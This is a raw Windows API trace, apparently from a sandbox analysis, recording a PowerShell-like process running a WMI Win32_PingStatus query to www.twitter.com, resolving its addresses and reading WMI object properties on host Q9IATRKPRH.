lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb33c*=0, plFlavor=0x25bb340*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25bb33c*=8, plFlavor=0x25bb340*=64) returned 0x0 [0160.371] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.371] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.371] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb394*=0, plFlavor=0x25bb398*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb394*=8, plFlavor=0x25bb398*=64) returned 0x0 [0160.371] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb3bc*=0, plFlavor=0x25bb3c0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25bb3bc*=8, plFlavor=0x25bb3c0*=64) returned 0x0 [0160.371] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.371] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.371] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb414*=0, plFlavor=0x25bb418*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25bb414*=8, plFlavor=0x25bb418*=64) returned 0x0 [0160.371] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.371] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.371] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb5f0*=0, plFlavor=0x25bb5f4*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25bb5f0*=3, plFlavor=0x25bb5f4*=64) returned 0x0 [0160.372] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb624*=0, plFlavor=0x25bb628*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25bb624*=8200, plFlavor=0x25bb628*=64) returned 0x0 [0160.372] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb658*=0, plFlavor=0x25bb65c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25bb658*=8, plFlavor=0x25bb65c*=64) returned 0x0 [0160.372] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.372] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.372] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb6a4*=0, plFlavor=0x25bb6a8*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25bb6a4*=8, plFlavor=0x25bb6a8*=64) returned 0x0 [0160.372] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.372] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.373] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb6f0*=0, plFlavor=0x25bb6f4*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25bb6f0*=8, plFlavor=0x25bb6f4*=64) returned 0x0 [0160.373] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.373] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.373] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0160.373] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0160.373] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.373] IWbemClassObject:Get (in: This=0x5f6b230, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb928*=0, plFlavor=0x25bb92c*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25bb928*=8, plFlavor=0x25bb92c*=0) returned 0x0 [0160.373] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.373] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.373] IWbemClassObject:Get (in: This=0x5f6b230, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25bb928*=8, plFlavor=0x25bb92c*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25bb928*=8, plFlavor=0x25bb92c*=0) returned 0x0 [0160.373] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.373] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.374] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f98a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f989e8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36d0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0160.378] FreeAddrInfoW (pAddrInfo=0x5f98a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5fa36e8*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f989e8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5fa36d0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0160.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0160.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0160.380] EtwEventActivityIdControl () returned 0x0 [0160.380] EtwEventActivityIdControl () returned 0x0 [0160.380] EtwEventActivityIdControl () returned 0x0 [0160.381] EtwEventActivityIdControl () returned 0x0 [0160.381] EtwEventActivityIdControl () returned 0x0 [0160.381] EtwEventActivityIdControl () returned 0x0 [0160.382] EtwEventActivityIdControl () returned 0x0 [0160.382] EtwEventActivityIdControl () returned 0x0 [0160.382] EtwEventActivityIdControl () returned 0x0 [0160.382] EtwEventActivityIdControl () returned 0x0 [0160.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.382] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.382] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.383] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.383] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.383] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0160.383] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.383] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.383] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0160.383] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.383] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.383] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.383] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.383] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.383] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.383] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.383] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.383] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.383] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.384] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.384] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.384] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.384] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.384] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.384] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.384] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.384] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.384] SysStringByteLen (bstr="__PATH") returned 0xc [0160.384] SysStringByteLen (bstr="__PATH") returned 0xc [0160.384] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5960*=0, plFlavor=0x25c5964*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c5960*=3, plFlavor=0x25c5964*=64) returned 0x0 [0160.384] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5994*=0, plFlavor=0x25c5998*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c5994*=8, plFlavor=0x25c5998*=64) returned 0x0 [0160.385] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.385] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.385] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c59ec*=0, plFlavor=0x25c59f0*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c59ec*=8, plFlavor=0x25c59f0*=64) returned 0x0 [0160.385] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5a14*=0, plFlavor=0x25c5a18*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c5a14*=8, plFlavor=0x25c5a18*=64) returned 0x0 [0160.385] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.385] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.385] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5a6c*=0, plFlavor=0x25c5a70*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c5a6c*=8, plFlavor=0x25c5a70*=64) returned 0x0 [0160.385] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.385] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.385] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5c48*=0, plFlavor=0x25c5c4c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c5c48*=3, plFlavor=0x25c5c4c*=64) returned 0x0 [0160.386] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5c7c*=0, plFlavor=0x25c5c80*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c5c7c*=8200, plFlavor=0x25c5c80*=64) returned 0x0 [0160.386] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5cb0*=0, plFlavor=0x25c5cb4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c5cb0*=8, plFlavor=0x25c5cb4*=64) returned 0x0 [0160.386] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.386] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.386] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5cfc*=0, plFlavor=0x25c5d00*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c5cfc*=8, plFlavor=0x25c5d00*=64) returned 0x0 [0160.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.387] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5d48*=0, plFlavor=0x25c5d4c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c5d48*=8, plFlavor=0x25c5d4c*=64) returned 0x0 [0160.387] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.387] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0160.387] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0160.387] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.387] IWbemClassObject:Get (in: This=0x5f6b230, wszName="BufferSize", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c5f80*=0, plFlavor=0x25c5f84*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25c5f80*=19, plFlavor=0x25c5f84*=0) returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.388] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.388] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0160.388] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.388] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.388] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0160.388] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.388] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.388] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.388] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.388] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.389] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.389] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.389] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.389] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.389] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.389] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.389] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.389] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.389] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.389] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.389] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.389] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.389] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.389] SysStringByteLen (bstr="__PATH") returned 0xc [0160.389] SysStringByteLen (bstr="__PATH") returned 0xc [0160.389] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6340*=0, plFlavor=0x25c6344*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c6340*=3, plFlavor=0x25c6344*=64) returned 0x0 [0160.390] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c6374*=0, plFlavor=0x25c6378*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c6374*=8, plFlavor=0x25c6378*=64) returned 0x0 [0160.390] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.390] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.390] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c63cc*=0, plFlavor=0x25c63d0*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c63cc*=8, plFlavor=0x25c63d0*=64) returned 0x0 [0160.390] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c63f4*=0, plFlavor=0x25c63f8*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c63f4*=8, plFlavor=0x25c63f8*=64) returned 0x0 [0160.390] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.390] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.390] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c644c*=0, plFlavor=0x25c6450*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c644c*=8, plFlavor=0x25c6450*=64) returned 0x0 [0160.390] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.390] SysStringByteLen 